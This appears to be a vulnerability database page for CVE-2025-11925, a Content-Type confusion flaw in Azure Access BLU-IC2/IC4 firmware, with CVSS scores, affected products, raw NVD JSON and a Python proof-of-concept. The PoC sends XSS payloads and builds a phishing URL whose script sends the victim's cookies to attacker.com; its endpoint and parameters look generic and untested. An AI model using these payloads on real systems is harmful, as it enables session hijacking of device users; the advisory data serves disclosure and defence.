Security Vulnerability Report
中文
CVE-2025-11925 CVSS 6.1 MEDIUM

CVE-2025-11925

Published: 2025-10-17 20:15:39
Last Modified: 2025-11-07 17:14:51
Source: a0340c66-c385-4f8b-991b-3d05f6fd5220

Description

Incorrect Content-Type header in one of the APIs (`text/html` instead of `application/json`) replies may potentially allow injection of HTML/JavaScript into reply.This issue affects BLU-IC2: through 1.19.5; BLU-IC4: through 1.19.5.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:azure-access:blu-ic2_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:azure-access:blu-ic2:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:azure-access:blu-ic4_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:azure-access:blu-ic4:-:*:*:*:*:*:*:* - NOT VULNERABLE
BLU-IC2 ≤ 1.19.5
BLU-IC4 ≤ 1.19.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11925 PoC - Content-Type Confusion XSS in BLU-IC2/IC4 API # The vulnerability exists in API endpoints that return Content-Type: text/html # instead of Content-Type: application/json, allowing HTML/JavaScript injection. import requests TARGET_URL = "https://target-blu-ic-device/api/v1/endpoint" # Malicious payload that will be interpreted as HTML/JavaScript # due to incorrect Content-Type header (text/html instead of application/json) payload = { "param": '<script>alert("XSS-CVE-2025-11925")</script>', "input": '<img src=x onerror=alert(document.cookie)>' } def exploit_xss(): """ Exploit the Content-Type confusion vulnerability. The API returns text/html instead of application/json, causing the browser to execute injected scripts. """ # Step 1: Send a crafted request to the vulnerable API endpoint response = requests.get(TARGET_URL, params=payload) # Step 2: Verify the incorrect Content-Type header print(f"Response Content-Type: {response.headers.get('Content-Type')}") # Expected vulnerable behavior: text/html (should be application/json) # Step 3: Check if the malicious script is reflected in the response if "<script>" in response.text or "onerror" in response.text: print("[+] Vulnerability confirmed - Script injection possible!") print(f"[+] Injected content will execute in victim's browser context") else: print("[-] Payload not reflected directly. Try other injection points.") return response # Crafted malicious URL to send to victim def generate_malicious_url(base_url, endpoint): """Generate a URL that triggers XSS when victim clicks it.""" xss_payload = '<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>' malicious_url = f"{base_url}/{endpoint}?input={xss_payload}" return malicious_url if __name__ == "__main__": exploit_xss() url = generate_malicious_url(TARGET_URL.rsplit('/', 1)[0], TARGET_URL.split('/')[-1]) print(f"\nMalicious URL to send to victim:\n{url}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11925", "sourceIdentifier": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "published": "2025-10-17T20:15:38.610", "lastModified": "2025-11-07T17:14:51.093", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Content-Type header in one of the APIs (`text/html` instead of `application/json`) replies may potentially allow injection of HTML/JavaScript into reply.This issue affects BLU-IC2: through 1.19.5; BLU-IC4: through 1.19.5."}], "metrics": {"cvssMetricV40": [{"source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-754"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:azure-access:blu-ic2_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.20", "matchCriteriaId": "00BF15A1-C965-4601-83E9-8617B86E833A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:azure-access:blu-ic2:-:*:*:*:*:*:*:*", "matchCriteriaId": "533EA16F-E8FE-4563-8C92-F4BDBA56C46A"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:azure-access:blu-ic4_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.20", "matchCriteriaId": "6493C6E4-1304-4B28-A6C5-37CE2D1EAE46"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:azure-access:blu-ic4:-:*:*:*:*:*:*:*", "matchCriteriaId": "79D4CC48-6926-4DA3-A0BE-2F03CA94D384"}]}]}], "references": [{"url": "https://azure-access.com/security-advisories", "source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "tags": ["Vendor Advisory"]}]}}